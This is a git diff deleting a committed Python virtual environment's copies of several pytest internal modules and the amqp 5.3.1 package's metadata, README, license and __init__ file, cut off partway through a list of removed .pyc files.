classImplements(TestCaseFunction, IReporter) - classImplements_has_run = True - - def excstore( - self, exc_value=None, exc_type=None, exc_tb=None, captureVars=None - ): - if exc_value is None: - self._rawexcinfo = sys.exc_info() - else: - if exc_type is None: - exc_type = type(exc_value) - self._rawexcinfo = (exc_type, exc_value, exc_tb) - try: - Failure__init__( - self, exc_value, exc_type, exc_tb, captureVars=captureVars - ) - except TypeError: - Failure__init__(self, exc_value, exc_type, exc_tb) - - ut.Failure.__init__ = excstore - try: - res = yield - finally: - ut.Failure.__init__ = Failure__init__ - else: - res = yield - return res - - -def _is_skipped(obj) -> bool: - """Return True if the given object has been marked with @unittest.skip.""" - return bool(getattr(obj, "__unittest_skip__", False)) diff --git a/backend/venv/Lib/site-packages/_pytest/unraisableexception.py b/backend/venv/Lib/site-packages/_pytest/unraisableexception.py deleted file mode 100644 index c191703a..00000000 --- a/backend/venv/Lib/site-packages/_pytest/unraisableexception.py +++ /dev/null @@ -1,100 +0,0 @@ -from __future__ import annotations - -import sys -import traceback -from types import TracebackType -from typing import Any -from typing import Callable -from typing import Generator -from typing import TYPE_CHECKING -import warnings - -import pytest - - -if TYPE_CHECKING: - from typing_extensions import Self - - -# Copied from cpython/Lib/test/support/__init__.py, with modifications. -class catch_unraisable_exception: - """Context manager catching unraisable exception using sys.unraisablehook. - - Storing the exception value (cm.unraisable.exc_value) creates a reference - cycle. The reference cycle is broken explicitly when the context manager - exits. - - Storing the object (cm.unraisable.object) can resurrect it if it is set to - an object which is being finalized. Exiting the context manager clears the - stored object. - - Usage: - with catch_unraisable_exception() as cm: - # code creating an "unraisable exception" - ... - # check the unraisable exception: use cm.unraisable - ... - # cm.unraisable attribute no longer exists at this point - # (to break a reference cycle) - """ - - def __init__(self) -> None: - self.unraisable: sys.UnraisableHookArgs | None = None - self._old_hook: Callable[[sys.UnraisableHookArgs], Any] | None = None - - def _hook(self, unraisable: sys.UnraisableHookArgs) -> None: - # Storing unraisable.object can resurrect an object which is being - # finalized. Storing unraisable.exc_value creates a reference cycle. - self.unraisable = unraisable - - def __enter__(self) -> Self: - self._old_hook = sys.unraisablehook - sys.unraisablehook = self._hook - return self - - def __exit__( - self, - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: TracebackType | None, - ) -> None: - assert self._old_hook is not None - sys.unraisablehook = self._old_hook - self._old_hook = None - del self.unraisable - - -def unraisable_exception_runtest_hook() -> Generator[None, None, None]: - with catch_unraisable_exception() as cm: - try: - yield - finally: - if cm.unraisable: - if cm.unraisable.err_msg is not None: - err_msg = cm.unraisable.err_msg - else: - err_msg = "Exception ignored in" - msg = f"{err_msg}: {cm.unraisable.object!r}\n\n" - msg += "".join( - traceback.format_exception( - cm.unraisable.exc_type, - cm.unraisable.exc_value, - cm.unraisable.exc_traceback, - ) - ) - warnings.warn(pytest.PytestUnraisableExceptionWarning(msg)) - - -@pytest.hookimpl(wrapper=True, tryfirst=True) -def pytest_runtest_setup() -> Generator[None, None, None]: - yield from unraisable_exception_runtest_hook() - - -@pytest.hookimpl(wrapper=True, tryfirst=True) -def pytest_runtest_call() -> Generator[None, None, None]: - yield from unraisable_exception_runtest_hook() - - -@pytest.hookimpl(wrapper=True, tryfirst=True) -def pytest_runtest_teardown() -> Generator[None, None, None]: - yield from unraisable_exception_runtest_hook() diff --git a/backend/venv/Lib/site-packages/_pytest/warning_types.py b/backend/venv/Lib/site-packages/_pytest/warning_types.py deleted file mode 100644 index 4ab14e48..00000000 --- a/backend/venv/Lib/site-packages/_pytest/warning_types.py +++ /dev/null @@ -1,166 +0,0 @@ -from __future__ import annotations - -import dataclasses -import inspect -from types import FunctionType -from typing import Any -from typing import final -from typing import Generic -from typing import TypeVar -import warnings - - -class PytestWarning(UserWarning): - """Base class for all warnings emitted by pytest.""" - - __module__ = "pytest" - - -@final -class PytestAssertRewriteWarning(PytestWarning): - """Warning emitted by the pytest assert rewrite module.""" - - __module__ = "pytest" - - -@final -class PytestCacheWarning(PytestWarning): - """Warning emitted by the cache plugin in various situations.""" - - __module__ = "pytest" - - -@final -class PytestConfigWarning(PytestWarning): - """Warning emitted for configuration issues.""" - - __module__ = "pytest" - - -@final -class PytestCollectionWarning(PytestWarning): - """Warning emitted when pytest is not able to collect a file or symbol in a module.""" - - __module__ = "pytest" - - -class PytestDeprecationWarning(PytestWarning, DeprecationWarning): - """Warning class for features that will be removed in a future version.""" - - __module__ = "pytest" - - -class PytestRemovedIn9Warning(PytestDeprecationWarning): - """Warning class for features that will be removed in pytest 9.""" - - __module__ = "pytest" - - -class PytestReturnNotNoneWarning(PytestWarning): - """Warning emitted when a test function is returning value other than None.""" - - __module__ = "pytest" - - -@final -class PytestExperimentalApiWarning(PytestWarning, FutureWarning): - """Warning category used to denote experiments in pytest. - - Use sparingly as the API might change or even be removed completely in a - future version. - """ - - __module__ = "pytest" - - @classmethod - def simple(cls, apiname: str) -> PytestExperimentalApiWarning: - return cls(f"{apiname} is an experimental api that may change over time") - - -@final -class PytestUnhandledCoroutineWarning(PytestReturnNotNoneWarning): - """Warning emitted for an unhandled coroutine. - - A coroutine was encountered when collecting test functions, but was not - handled by any async-aware plugin. - Coroutine test functions are not natively supported. - """ - - __module__ = "pytest" - - -@final -class PytestUnknownMarkWarning(PytestWarning): - """Warning emitted on use of unknown markers. - - See :ref:`mark` for details. - """ - - __module__ = "pytest" - - -@final -class PytestUnraisableExceptionWarning(PytestWarning): - """An unraisable exception was reported. - - Unraisable exceptions are exceptions raised in :meth:`__del__ ` - implementations and similar situations when the exception cannot be raised - as normal. - """ - - __module__ = "pytest" - - -@final -class PytestUnhandledThreadExceptionWarning(PytestWarning): - """An unhandled exception occurred in a :class:`~threading.Thread`. - - Such exceptions don't propagate normally. - """ - - __module__ = "pytest" - - -_W = TypeVar("_W", bound=PytestWarning) - - -@final -@dataclasses.dataclass -class UnformattedWarning(Generic[_W]): - """A warning meant to be formatted during runtime. - - This is used to hold warnings that need to format their message at runtime, - as opposed to a direct message. - """ - - category: type[_W] - template: str - - def format(self, **kwargs: Any) -> _W: - """Return an instance of the warning category, formatted with given kwargs.""" - return self.category(self.template.format(**kwargs)) - - -def warn_explicit_for(method: FunctionType, message: PytestWarning) -> None: - """ - Issue the warning :param:`message` for the definition of the given :param:`method` - - this helps to log warnings for functions defined prior to finding an issue with them - (like hook wrappers being marked in a legacy mechanism) - """ - lineno = method.__code__.co_firstlineno - filename = inspect.getfile(method) - module = method.__module__ - mod_globals = method.__globals__ - try: - warnings.warn_explicit( - message, - type(message), - filename=filename, - module=module, - registry=mod_globals.setdefault("__warningregistry__", {}), - lineno=lineno, - ) - except Warning as w: - # If warnings are errors (e.g. -Werror), location information gets lost, so we add it to the message. - raise type(w)(f"{w}\n at {filename}:{lineno}") from None diff --git a/backend/venv/Lib/site-packages/_pytest/warnings.py b/backend/venv/Lib/site-packages/_pytest/warnings.py deleted file mode 100644 index 5c59e55c..00000000 --- a/backend/venv/Lib/site-packages/_pytest/warnings.py +++ /dev/null @@ -1,151 +0,0 @@ -# mypy: allow-untyped-defs -from __future__ import annotations - -from contextlib import contextmanager -import sys -from typing import Generator -from typing import Literal -import warnings - -from _pytest.config import apply_warning_filters -from _pytest.config import Config -from _pytest.config import parse_warning_filter -from _pytest.main import Session -from _pytest.nodes import Item -from _pytest.terminal import TerminalReporter -import pytest - - -def pytest_configure(config: Config) -> None: - config.addinivalue_line( - "markers", - "filterwarnings(warning): add a warning filter to the given test. " - "see https://docs.pytest.org/en/stable/how-to/capture-warnings.html#pytest-mark-filterwarnings ", - ) - - -@contextmanager -def catch_warnings_for_item( - config: Config, - ihook, - when: Literal["config", "collect", "runtest"], - item: Item | None, -) -> Generator[None, None, None]: - """Context manager that catches warnings generated in the contained execution block. - - ``item`` can be None if we are not in the context of an item execution. - - Each warning captured triggers the ``pytest_warning_recorded`` hook. - """ - config_filters = config.getini("filterwarnings") - cmdline_filters = config.known_args_namespace.pythonwarnings or [] - with warnings.catch_warnings(record=True) as log: - # mypy can't infer that record=True means log is not None; help it. - assert log is not None - - if not sys.warnoptions: - # If user is not explicitly configuring warning filters, show deprecation warnings by default (#2908). - warnings.filterwarnings("always", category=DeprecationWarning) - warnings.filterwarnings("always", category=PendingDeprecationWarning) - - # To be enabled in pytest 9.0.0. - # warnings.filterwarnings("error", category=pytest.PytestRemovedIn9Warning) - - apply_warning_filters(config_filters, cmdline_filters) - - # apply filters from "filterwarnings" marks - nodeid = "" if item is None else item.nodeid - if item is not None: - for mark in item.iter_markers(name="filterwarnings"): - for arg in mark.args: - warnings.filterwarnings(*parse_warning_filter(arg, escape=False)) - - try: - yield - finally: - for warning_message in log: - ihook.pytest_warning_recorded.call_historic( - kwargs=dict( - warning_message=warning_message, - nodeid=nodeid, - when=when, - location=None, - ) - ) - - -def warning_record_to_str(warning_message: warnings.WarningMessage) -> str: - """Convert a warnings.WarningMessage to a string.""" - warn_msg = warning_message.message - msg = warnings.formatwarning( - str(warn_msg), - warning_message.category, - warning_message.filename, - warning_message.lineno, - warning_message.line, - ) - if warning_message.source is not None: - try: - import tracemalloc - except ImportError: - pass - else: - tb = tracemalloc.get_object_traceback(warning_message.source) - if tb is not None: - formatted_tb = "\n".join(tb.format()) - # Use a leading new line to better separate the (large) output - # from the traceback to the previous warning text. - msg += f"\nObject allocated at:\n{formatted_tb}" - else: - # No need for a leading new line. - url = "https://docs.pytest.org/en/stable/how-to/capture-warnings.html#resource-warnings" - msg += "Enable tracemalloc to get traceback where the object was allocated.\n" - msg += f"See {url} for more info." - return msg - - -@pytest.hookimpl(wrapper=True, tryfirst=True) -def pytest_runtest_protocol(item: Item) -> Generator[None, object, object]: - with catch_warnings_for_item( - config=item.config, ihook=item.ihook, when="runtest", item=item - ): - return (yield) - - -@pytest.hookimpl(wrapper=True, tryfirst=True) -def pytest_collection(session: Session) -> Generator[None, object, object]: - config = session.config - with catch_warnings_for_item( - config=config, ihook=config.hook, when="collect", item=None - ): - return (yield) - - -@pytest.hookimpl(wrapper=True) -def pytest_terminal_summary( - terminalreporter: TerminalReporter, -) -> Generator[None, None, None]: - config = terminalreporter.config - with catch_warnings_for_item( - config=config, ihook=config.hook, when="config", item=None - ): - return (yield) - - -@pytest.hookimpl(wrapper=True) -def pytest_sessionfinish(session: Session) -> Generator[None, None, None]: - config = session.config - with catch_warnings_for_item( - config=config, ihook=config.hook, when="config", item=None - ): - return (yield) - - -@pytest.hookimpl(wrapper=True) -def pytest_load_initial_conftests( - early_config: Config, -) -> Generator[None, None, None]: - with catch_warnings_for_item( - config=early_config, ihook=early_config.hook, when="config", item=None - ): - return (yield) diff --git a/backend/venv/Lib/site-packages/amqp-5.3.1.dist-info/INSTALLER b/backend/venv/Lib/site-packages/amqp-5.3.1.dist-info/INSTALLER deleted file mode 100644 index a1b589e3..00000000 --- a/backend/venv/Lib/site-packages/amqp-5.3.1.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/backend/venv/Lib/site-packages/amqp-5.3.1.dist-info/LICENSE b/backend/venv/Lib/site-packages/amqp-5.3.1.dist-info/LICENSE deleted file mode 100644 index 46087c2a..00000000 --- a/backend/venv/Lib/site-packages/amqp-5.3.1.dist-info/LICENSE +++ /dev/null @@ -1,47 +0,0 @@ -Copyright (c) 2015-2016 Ask Solem & contributors. All rights reserved. -Copyright (c) 2012-2014 GoPivotal, Inc. All rights reserved. -Copyright (c) 2009, 2010, 2011, 2012 Ask Solem, and individual contributors. All rights reserved. -Copyright (C) 2007-2008 Barry Pederson . All rights reserved. - -py-amqp is licensed under The BSD License (3 Clause, also known as -the new BSD license). The license is an OSI approved Open Source -license and is GPL-compatible(1). - -The license text can also be found here: -http://www.opensource.org/licenses/BSD-3-Clause - -License -======= - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are met: - * Redistributions of source code must retain the above copyright - notice, this list of conditions and the following disclaimer. - * Redistributions in binary form must reproduce the above copyright - notice, this list of conditions and the following disclaimer in the - documentation and/or other materials provided with the distribution. - * Neither the name of Ask Solem, nor the - names of its contributors may be used to endorse or promote products - derived from this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, -THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL Ask Solem OR CONTRIBUTORS -BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF -SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS -INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN -CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) -ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -POSSIBILITY OF SUCH DAMAGE. - - -Footnotes -========= -(1) A GPL-compatible license makes it possible to - combine Celery with other software that is released - under the GPL, it does not mean that we're distributing - Celery under the GPL license. The BSD license, unlike the GPL, - let you distribute a modified version without making your - changes open source. diff --git a/backend/venv/Lib/site-packages/amqp-5.3.1.dist-info/METADATA b/backend/venv/Lib/site-packages/amqp-5.3.1.dist-info/METADATA deleted file mode 100644 index aa9227f5..00000000 --- a/backend/venv/Lib/site-packages/amqp-5.3.1.dist-info/METADATA +++ /dev/null @@ -1,239 +0,0 @@ -Metadata-Version: 2.1 -Name: amqp -Version: 5.3.1 -Summary: Low-level AMQP client for Python (fork of amqplib). -Home-page: http://github.com/celery/py-amqp -Author: Barry Pederson -Author-email: auvipy@gmail.com -Maintainer: Asif Saif Uddin, Matus Valo -License: BSD -Keywords: amqp rabbitmq cloudamqp messaging -Platform: any -Classifier: Development Status :: 5 - Production/Stable -Classifier: Programming Language :: Python -Classifier: Programming Language :: Python :: 3 :: Only -Classifier: Programming Language :: Python :: 3 -Classifier: Programming Language :: Python :: 3.7 -Classifier: Programming Language :: Python :: 3.8 -Classifier: Programming Language :: Python :: 3.9 -Classifier: Programming Language :: Python :: 3.10 -Classifier: Programming Language :: Python :: Implementation :: CPython -Classifier: Programming Language :: Python :: Implementation :: PyPy -Classifier: License :: OSI Approved :: BSD License -Classifier: Intended Audience :: Developers -Classifier: Operating System :: OS Independent -Requires-Python: >=3.6 -Description-Content-Type: text/x-rst -License-File: LICENSE -Requires-Dist: vine<6.0.0,>=5.0.0 - -===================================================================== - Python AMQP 0.9.1 client library -===================================================================== - -|build-status| |coverage| |license| |wheel| |pyversion| |pyimp| - -:Version: 5.3.1 -:Web: https://amqp.readthedocs.io/ -:Download: https://pypi.org/project/amqp/ -:Source: http://github.com/celery/py-amqp/ -:Keywords: amqp, rabbitmq - -About -===== - -This is a fork of amqplib_ which was originally written by Barry Pederson. -It is maintained by the Celery_ project, and used by `kombu`_ as a pure python -alternative when `librabbitmq`_ is not available. - -This library should be API compatible with `librabbitmq`_. - -.. _amqplib: https://pypi.org/project/amqplib/ -.. _Celery: http://celeryproject.org/ -.. _kombu: https://kombu.readthedocs.io/ -.. _librabbitmq: https://pypi.org/project/librabbitmq/ - -Differences from `amqplib`_ -=========================== - -- Supports draining events from multiple channels (``Connection.drain_events``) -- Support for timeouts -- Channels are restored after channel error, instead of having to close the - connection. -- Support for heartbeats - - - ``Connection.heartbeat_tick(rate=2)`` must called at regular intervals - (half of the heartbeat value if rate is 2). - - Or some other scheme by using ``Connection.send_heartbeat``. -- Supports RabbitMQ extensions: - - Consumer Cancel Notifications - - by default a cancel results in ``ChannelError`` being raised - - but not if a ``on_cancel`` callback is passed to ``basic_consume``. - - Publisher confirms - - ``Channel.confirm_select()`` enables publisher confirms. - - ``Channel.events['basic_ack'].append(my_callback)`` adds a callback - to be called when a message is confirmed. This callback is then - called with the signature ``(delivery_tag, multiple)``. - - Exchange-to-exchange bindings: ``exchange_bind`` / ``exchange_unbind``. - - ``Channel.confirm_select()`` enables publisher confirms. - - ``Channel.events['basic_ack'].append(my_callback)`` adds a callback - to be called when a message is confirmed. This callback is then - called with the signature ``(delivery_tag, multiple)``. - - Authentication Failure Notifications - Instead of just closing the connection abruptly on invalid - credentials, py-amqp will raise an ``AccessRefused`` error - when connected to rabbitmq-server 3.2.0 or greater. -- Support for ``basic_return`` -- Uses AMQP 0-9-1 instead of 0-8. - - ``Channel.access_request`` and ``ticket`` arguments to methods - **removed**. - - Supports the ``arguments`` argument to ``basic_consume``. - - ``internal`` argument to ``exchange_declare`` removed. - - ``auto_delete`` argument to ``exchange_declare`` deprecated - - ``insist`` argument to ``Connection`` removed. - - ``Channel.alerts`` has been removed. - - Support for ``Channel.basic_recover_async``. - - ``Channel.basic_recover`` deprecated. -- Exceptions renamed to have idiomatic names: - - ``AMQPException`` -> ``AMQPError`` - - ``AMQPConnectionException`` -> ConnectionError`` - - ``AMQPChannelException`` -> ChannelError`` - - ``Connection.known_hosts`` removed. - - ``Connection`` no longer supports redirects. - - ``exchange`` argument to ``queue_bind`` can now be empty - to use the "default exchange". -- Adds ``Connection.is_alive`` that tries to detect - whether the connection can still be used. -- Adds ``Connection.connection_errors`` and ``.channel_errors``, - a list of recoverable errors. -- Exposes the underlying socket as ``Connection.sock``. -- Adds ``Channel.no_ack_consumers`` to keep track of consumer tags - that set the no_ack flag. -- Slightly better at error recovery - -Quick overview -============== - -Simple producer publishing messages to ``test`` queue using default exchange: - -.. code:: python - - import amqp - - with amqp.Connection('broker.example.com') as c: - ch = c.channel() - ch.basic_publish(amqp.Message('Hello World'), routing_key='test') - -Producer publishing to ``test_exchange`` exchange with publisher confirms enabled and using virtual_host ``test_vhost``: - -.. code:: python - - import amqp - - with amqp.Connection( - 'broker.example.com', exchange='test_exchange', - confirm_publish=True, virtual_host='test_vhost' - ) as c: - ch = c.channel() - ch.basic_publish(amqp.Message('Hello World'), routing_key='test') - -Consumer with acknowledgments enabled: - -.. code:: python - - import amqp - - with amqp.Connection('broker.example.com') as c: - ch = c.channel() - def on_message(message): - print('Received message (delivery tag: {}): {}'.format(message.delivery_tag, message.body)) - ch.basic_ack(message.delivery_tag) - ch.basic_consume(queue='test', callback=on_message) - while True: - c.drain_events() - - -Consumer with acknowledgments disabled: - -.. code:: python - - import amqp - - with amqp.Connection('broker.example.com') as c: - ch = c.channel() - def on_message(message): - print('Received message (delivery tag: {}): {}'.format(message.delivery_tag, message.body)) - ch.basic_consume(queue='test', callback=on_message, no_ack=True) - while True: - c.drain_events() - -Speedups -======== - -This library has **experimental** support of speedups. Speedups are implemented using Cython. To enable speedups, ``CELERY_ENABLE_SPEEDUPS`` environment variable must be set during building/installation. -Currently speedups can be installed: - -1. using source package (using ``--no-binary`` switch): - -.. code:: shell - - CELERY_ENABLE_SPEEDUPS=true pip install --no-binary :all: amqp - - -2. building directly source code: - -.. code:: shell - - CELERY_ENABLE_SPEEDUPS=true python setup.py install - -Further -======= - -- Differences between AMQP 0.8 and 0.9.1 - - http://www.rabbitmq.com/amqp-0-8-to-0-9-1.html - -- AMQP 0.9.1 Quick Reference - - http://www.rabbitmq.com/amqp-0-9-1-quickref.html - -- RabbitMQ Extensions - - http://www.rabbitmq.com/extensions.html - -- For more information about AMQP, visit - - http://www.amqp.org - -- For other Python client libraries see: - - http://www.rabbitmq.com/devtools.html#python-dev - -.. |build-status| image:: https://github.com/celery/py-amqp/actions/workflows/ci.yaml/badge.svg - :alt: Build status - :target: https://github.com/celery/py-amqp/actions/workflows/ci.yaml - -.. |coverage| image:: https://codecov.io/github/celery/py-amqp/coverage.svg?branch=main - :target: https://codecov.io/github/celery/py-amqp?branch=main - -.. |license| image:: https://img.shields.io/pypi/l/amqp.svg - :alt: BSD License - :target: https://opensource.org/licenses/BSD-3-Clause - -.. |wheel| image:: https://img.shields.io/pypi/wheel/amqp.svg - :alt: Python AMQP can be installed via wheel - :target: https://pypi.org/project/amqp/ - -.. |pyversion| image:: https://img.shields.io/pypi/pyversions/amqp.svg - :alt: Supported Python versions. - :target: https://pypi.org/project/amqp/ - -.. |pyimp| image:: https://img.shields.io/pypi/implementation/amqp.svg - :alt: Support Python implementations. - :target: https://pypi.org/project/amqp/ - -py-amqp as part of the Tidelift Subscription -============================================ - -The maintainers of py-amqp and thousands of other packages are working with Tidelift to deliver commercial support and maintenance for the open source dependencies you use to build your applications. Save time, reduce risk, and improve code health, while paying the maintainers of the exact dependencies you use. [Learn more.](https://tidelift.com/subscription/pkg/pypi-amqp?utm_source=pypi-amqp&utm_medium=referral&utm_campaign=readme&utm_term=repo) - diff --git a/backend/venv/Lib/site-packages/amqp-5.3.1.dist-info/RECORD b/backend/venv/Lib/site-packages/amqp-5.3.1.dist-info/RECORD deleted file mode 100644 index 34c8fac9..00000000 --- a/backend/venv/Lib/site-packages/amqp-5.3.1.dist-info/RECORD +++ /dev/null @@ -1,34 +0,0 @@ -amqp-5.3.1.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -amqp-5.3.1.dist-info/LICENSE,sha256=9e9fEoLq4ZMcdGRfhxm2xps9aizyd7_aJJqCcM1HOvM,2372 -amqp-5.3.1.dist-info/METADATA,sha256=sv93q3ZseR0T9pcxMMq8Jt_pxL0PNI_cbKA48tbprNM,8887 -amqp-5.3.1.dist-info/RECORD,, -amqp-5.3.1.dist-info/WHEEL,sha256=a7TGlA-5DaHMRrarXjVbQagU3Man_dCnGIWMJr5kRWo,91 -amqp-5.3.1.dist-info/top_level.txt,sha256=tWQNmFVhU4UtDgB6Yy2lKqRz7LtOrRcN8_bPFVcVVR8,5 -amqp/__init__.py,sha256=QvARRZLvrDJRy_JCybG6TmprblyQPyF1pzIgR3fNRv4,2357 -amqp/__pycache__/__init__.cpython-311.pyc,, -amqp/__pycache__/abstract_channel.cpython-311.pyc,, -amqp/__pycache__/basic_message.cpython-311.pyc,, -amqp/__pycache__/channel.cpython-311.pyc,, -amqp/__pycache__/connection.cpython-311.pyc,, -amqp/__pycache__/exceptions.cpython-311.pyc,, -amqp/__pycache__/method_framing.cpython-311.pyc,, -amqp/__pycache__/platform.cpython-311.pyc,, -amqp/__pycache__/protocol.cpython-311.pyc,, -amqp/__pycache__/sasl.cpython-311.pyc,, -amqp/__pycache__/serialization.cpython-311.pyc,, -amqp/__pycache__/spec.cpython-311.pyc,, -amqp/__pycache__/transport.cpython-311.pyc,, -amqp/__pycache__/utils.cpython-311.pyc,, -amqp/abstract_channel.py,sha256=D_OEWvX48yKUzMYm_sN-IDRQmqIGvegi9KlJriqttBc,4941 -amqp/basic_message.py,sha256=Q8DV31tuuphloTETPHiJFwNg6b5M6pccJ0InJ4MZUz8,3357 -amqp/channel.py,sha256=XzCuKPy9qFMiTsnqksKpFIh9PUcKZm3uIXm1RFCeZQs,74475 -amqp/connection.py,sha256=8vsfpVTsTJBS-uu_SEEEuT-RXMk_IX_jCldOHP-oDlo,27541 -amqp/exceptions.py,sha256=yqjoFIRue2rvK7kMdvkKsGOD6dMOzzzT3ZzBwoGWAe4,7166 -amqp/method_framing.py,sha256=avnw90X9t4995HpHoZV4-1V73UEbzUKJ83pHEicAqWY,6734 -amqp/platform.py,sha256=cyLevv6E15P9zhMo_fV84p67Q_A8fdsTq9amjvlUwqE,2379 -amqp/protocol.py,sha256=Di3y6qqhnOV4QtkeYKO-zryfWqwl3F1zUxDOmVSsAp0,291 -amqp/sasl.py,sha256=6AbsnxlbAyoiYxDezoQTfm-E0t_TJyHXpqGJ0KlPkI4,5986 -amqp/serialization.py,sha256=xzzXmmQ45fGUuSCxGTEMizmRQTmzaz3Z7YYfpxmfXuY,17162 -amqp/spec.py,sha256=2ZjbL4FR4Fv67HA7HUI9hLUIvAv3A4ZH6GRPzrMRyWg,2121 -amqp/transport.py,sha256=tG50r-ybeXGwe3SoA5BacNY9BzRJnRn7BZs3XBuKwO0,23046 -amqp/utils.py,sha256=JjjY040LwsDUc1zmKP2VTzXBioVXy48DUZtWB8PaPy0,1456 diff --git a/backend/venv/Lib/site-packages/amqp-5.3.1.dist-info/WHEEL b/backend/venv/Lib/site-packages/amqp-5.3.1.dist-info/WHEEL deleted file mode 100644 index b4c88db7..00000000 --- a/backend/venv/Lib/site-packages/amqp-5.3.1.dist-info/WHEEL +++ /dev/null @@ -1,5 +0,0 @@ -Wheel-Version: 1.0 -Generator: setuptools (75.4.0) -Root-Is-Purelib: true -Tag: py3-none-any - diff --git a/backend/venv/Lib/site-packages/amqp-5.3.1.dist-info/top_level.txt b/backend/venv/Lib/site-packages/amqp-5.3.1.dist-info/top_level.txt deleted file mode 100644 index 5e610d34..00000000 --- a/backend/venv/Lib/site-packages/amqp-5.3.1.dist-info/top_level.txt +++ /dev/null @@ -1 +0,0 @@ -amqp diff --git a/backend/venv/Lib/site-packages/amqp/__init__.py b/backend/venv/Lib/site-packages/amqp/__init__.py deleted file mode 100644 index 2f4841e4..00000000 --- a/backend/venv/Lib/site-packages/amqp/__init__.py +++ /dev/null @@ -1,75 +0,0 @@ -"""Low-level AMQP client for Python (fork of amqplib).""" -# Copyright (C) 2007-2008 Barry Pederson - -import re -from collections import namedtuple - -__version__ = '5.3.1' -__author__ = 'Barry Pederson' -__maintainer__ = 'Asif Saif Uddin, Matus Valo' -__contact__ = 'auvipy@gmail.com' -__homepage__ = 'http://github.com/celery/py-amqp' -__docformat__ = 'restructuredtext' - -# -eof meta- - -version_info_t = namedtuple('version_info_t', ( - 'major', 'minor', 'micro', 'releaselevel', 'serial', -)) - -# bumpversion can only search for {current_version} -# so we have to parse the version here. -_temp = re.match( - r'(\d+)\.(\d+).(\d+)(.+)?', __version__).groups() -VERSION = version_info = version_info_t( - int(_temp[0]), int(_temp[1]), int(_temp[2]), _temp[3] or '', '') -del(_temp) -del(re) - -from .basic_message import Message # noqa -from .channel import Channel # noqa -from .connection import Connection # noqa -from .exceptions import (AccessRefused, AMQPError, # noqa - AMQPNotImplementedError, ChannelError, ChannelNotOpen, - ConnectionError, ConnectionForced, ConsumerCancelled, - ContentTooLarge, FrameError, FrameSyntaxError, - InternalError, InvalidCommand, InvalidPath, - IrrecoverableChannelError, - IrrecoverableConnectionError, NoConsumers, NotAllowed, - NotFound, PreconditionFailed, RecoverableChannelError, - RecoverableConnectionError, ResourceError, - ResourceLocked, UnexpectedFrame, error_for_code) -from .utils import promise # noqa - -__all__ = ( - 'Connection', - 'Channel', - 'Message', - 'promise', - 'AMQPError', - 'ConnectionError', - 'RecoverableConnectionError', - 'IrrecoverableConnectionError', - 'ChannelError', - 'RecoverableChannelError', - 'IrrecoverableChannelError', - 'ConsumerCancelled', - 'ContentTooLarge', - 'NoConsumers', - 'ConnectionForced', - 'InvalidPath', - 'AccessRefused', - 'NotFound', - 'ResourceLocked', - 'PreconditionFailed', - 'FrameError', - 'FrameSyntaxError', - 'InvalidCommand', - 'ChannelNotOpen', - 'UnexpectedFrame', - 'ResourceError', - 'NotAllowed', - 'AMQPNotImplementedError', - 'InternalError', - 'error_for_code', -) diff --git a/backend/venv/Lib/site-packages/amqp/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/amqp/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 844e9227..00000000 Binary files a/backend/venv/Lib/site-packages/amqp/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/amqp/__pycache__/abstract_channel.cpython-311.pyc b/backend/venv/Lib/site-packages/amqp/__pycache__/abstract_channel.cpython-311.pyc deleted file mode 100644 index 0e082091..00000000 Binary files a/backend/venv/Lib/site-packages/amqp/__pycache__/abstract_channel.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/amqp/__pycache__/basic_message.cpython-311.pyc b/backend/venv/Lib/site-packages/amqp/__pycache__/basic_message.cpython-311.pyc deleted file mode 100644 index e9cfd1ff..00000000 Binary files a/backend/venv/Lib/site-packages/amqp/__pycache__/basic_message.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/amqp/__pycache__/channel.cpython-311.pyc b/backend/venv/Lib/site-packages/amqp/__pycache__/channel.cpython-311.pyc deleted file mode 100644 index 4bf7a3b2..00000000 Binary files a/backend/venv/Lib/site-packages/amqp/__pycache__/channel.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/amqp/__pycache__/connection.cpython-311.pyc b/backend/venv/Lib/site-packages/amqp/__pycache__/connection.cpython-311.pyc deleted file mode 100644 index 4305958c..00000000 Binary files a/backend/venv/Lib/site-packages/amqp/__pycache__/connection.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/amqp/__pycache__/exceptions.cpython-311.pyc b/backend/venv/Lib/site-packages/amqp/__pycache__/exceptions.cpython-311.pyc deleted file mode 100644 index 2223fe54..00000000 Binary files a/backend/venv/Lib/site-packages/amqp/__pycache__/exceptions.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/amqp/__pycache__/method_framing.cpython-311.pyc b/backend/venv/Lib/site-packages/amqp/__pycache__/method_framing.cpython-311.pyc deleted file mode 100644 index eb8ecdbd..00000000 Binary files a/backend/venv/Lib/site-packages/amqp/__pycache__/method_framing.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/amqp/__pycache__/platform.cpython-311.pyc b/backend/venv/Lib/site-packages/amqp/__pycache__/platform.cpython-311.pyc deleted file mode 100644 index 8e746a5f..00000000 Binary files 